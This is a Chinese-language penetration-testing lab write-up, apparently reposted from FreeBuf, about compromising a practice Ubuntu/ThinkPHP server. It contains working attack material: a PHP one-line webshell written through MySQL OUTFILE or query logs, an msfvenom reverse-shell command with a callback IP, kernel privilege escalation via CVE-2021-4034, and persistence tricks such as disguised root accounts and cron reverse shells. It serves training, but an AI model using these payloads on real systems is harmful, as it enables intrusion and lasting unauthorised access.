口水话
前段时间打了两个靶场 由于内网接触的不多 这里在结束之后恶补了一下相关方面的知识,对于初涉内网的小白来说,可以作为一个较好的参考。由于本文主要介绍提权方面,所以代码审计部分就略过,希望大家看了会有所收获靶场环境
搭建用的系统:ubuntu 16.04 内核4.15.0 web环境 php+mysql+thinkphp流程
首先开启靶场 在攻击机正常访问靶场地址
这里提一下 因为一般这种老版本的thinkphp都是二开的 所以那些Nday很少能够成功复现 而且这就是一个html静态页面 所以看完后面的小伙伴不要奇怪为什么不对thinkphp做Nday测试 但是这里有彩蛋
webshell上传过程
先来一波信息收集
实际情况肯定是要对该站点的子域名 cms 其他ip等等做收集 由于这里是靶场操作 这里就简单进行一个目录扫描
BP爆破后台登录口令
没啥说的啦 开BP代理直接跑
查看mysql的相关信息

secure_file_priv信息

mysql写webshell拓展
几个必要的前提条件 1.secure_file_priv不为NULL或者指定路径 2.phpmyadmin所在目录的拥有者对其他目录有读写权限 3.全局gpc关闭 (mysql-5.3.29以上默认关闭) 4.root权限(这里指的是登录数据库的用户) 5.知道具体路径(通过信息收集获取,上文有提到静态页面存在菜单 这里可以回去看看) into outfile()方式: 查询执行语句SELECT <?php @eval($_POST[cmd]);?> into OUTFILE /home/wwwroot/default/ruchong.php 该语句的作用就是写入一句话到网站根目录下 详情自己百度 日志方式 日志方式的写入有两种 全局日志以及慢日志 不过具体用法差不多 实现的原理是 当你开启日志记录是 你所查询的语句都会全部被记录在指定的一个文件中 那假如你指定的是一个php文件并且你查询的语句为一句话木马呢? 全局日志: 首先查询是否开启了全局日志记录 show variables like %general%; 查看是否开启 set global general_log = on; #未开启就手动开启general log 模式 set global general_log_file = web可访问目录 #设置日志目录为shell地址 SELECT <?php @eval($_POST[cmd]);?> #执行查询 即写入到日志文件 慢日志: #查询慢日志状态 show variables like %slow_query_log%; #查询mysql系统时间 show global variables like %long_query_time%; #根据时间 设置超时 select <?php @eval($_POST[1]);?> or sleep(11); 设置查询时间为11smysql写入webshell
这里通过into outfile的方式写入 日志记录也可以


连接webshell
这里先进行一些相关的拓展 在不存在函数禁用的情况下:一般使用菜刀等就可以了 后续上传大马等等 存在函数禁用的情况:优先考虑使用蚁剑 (可以使用disable_function绕过脚本)


连接webshell后需要做什么
那肯定是上传webshell 通过反弹来拓展攻击面呀!! 但是前面提到了 插件绕过也只是能够使用少数命令 本质还是虚拟终端 所以很多都无法调用 这个时候 就需要反弹一个shell来进行更多的操作 所以 懂得都懂叭提权过程
内核提权
msfconsole登场
说到反弹shell 那肯定是msf啦 可以联动cs/bp等 ps:这里是同一网段的靶场环境 所以不需要vps来做中转(真实环境是需要用到vps的 后面有空了再写横向穿越,端口转发以及隧道等内容)生成牧马(保命)
由于是linux系统 这里就生成相应的牧马啦 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to -f elf > ruchong.elf 方便理解我这里直接写了接收反弹的ip以及端口


执行牧马反弹shell啦
运行之前 msf开启对应payload ip以及端口的监听 payload ip 端口 都要与生成的木马使用的一致 最后的命令run或者exploit开启监听啦


内核提权准备工作
既然是内核提权 当然要知道内核信息啦 使用命令uname -a查看当前的系统版本以及内核信息
内核脚本的选择
知道了内核版本后 有多种选择内核的方式 这里简单的列举几个利用某网站来收集可使用的内核提权脚本
https://www.exploit-db.com/
利用kali自带搜索相应内核提权脚本
搜索命令 searchsploit 版本号/内核号 下载脚本 searchsploit -m fath
利用相关插件收集提权脚本
该脚本自行上github搜索 ./linux-exploit-suggester.sh -k 4.15.0 执行脚本 -k 指定的内核版本
msf本地提权
run post/multi/recon/local_exploit_suggester 这个是自动检测可能成功的内核提权脚本并且逐个尝试 由于需要大概半个小时 所以就没有操作 有兴趣的可以自行尝试内核提权!!!
前面说了那么多 终于到关键的一步了 先说说为什么提权要提权: 1.某些命令需要高权限用户才可执行 2.低权限用户对于大多数敏感目录没有读取权限 3.无法dump密码 不存在密码喷洒 这里利用cve-2021-4034来进行提权 github可以搜索下载 使用蚁剑上传 下面po一下改提权脚本 如何使用

权限维持
1.创建一个用户 并且权限为root 用户名可以伪造成系统用户名 比如说mysqld等等 2.开启ssh登录 并且生成root的ssh认证密钥对 将其保存本地 后渗透直接使用ssh登录 3.添加计划任务 即周期性的使用root身份反弹shell 4.使用不死马或者内存马 5.设置启动项其他提权方式
后面有时间我会单独写提权方式、不同平台提权、内网横向移动所使用的端口转发、sock隧道建立的文章 这里大概提一下linux系统提权的其他方式 1.suid提权 #使用find查找root用户的suid文件 通过运行该类文件获取root权限 2.sudo提权 #个人觉得有点鸡肋 毕竟一般来说 webshell登录的用户权限是无法操作sudoers文件 3.计划任务提权 #查看计划任务中有root权限的脚本 通过运行该脚本获取root权限 4.mysql提权 #本次靶场是可以使用mysql提权的 百度cve-2016-6663了解总结
对于内核提权就写到这啦 整体看下来应该都会有一个比较清楚的认知吧 不懂的话多看几遍 相对来说是写的比较详细的了。 关于内网还有很多需要学习的知识 像提权后的权限维持、横向移动、后渗透、痕迹清理、不同平台的不同方式提权、以及进阶的域渗透。后期有空了会更新有关内容的文章。学海无涯,希望大家每天都能学到新知识提升自己,学到的东西可不要做非法的事哈!!!! 个人博客链接: https://webgotd.com申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。
本文作者:xixibdgrn, 转载请注明来自FreeBuf.COM
原创文章,作者:全球vps测评资讯,如若转载,请注明出处:https://www.druglion.com/2232.html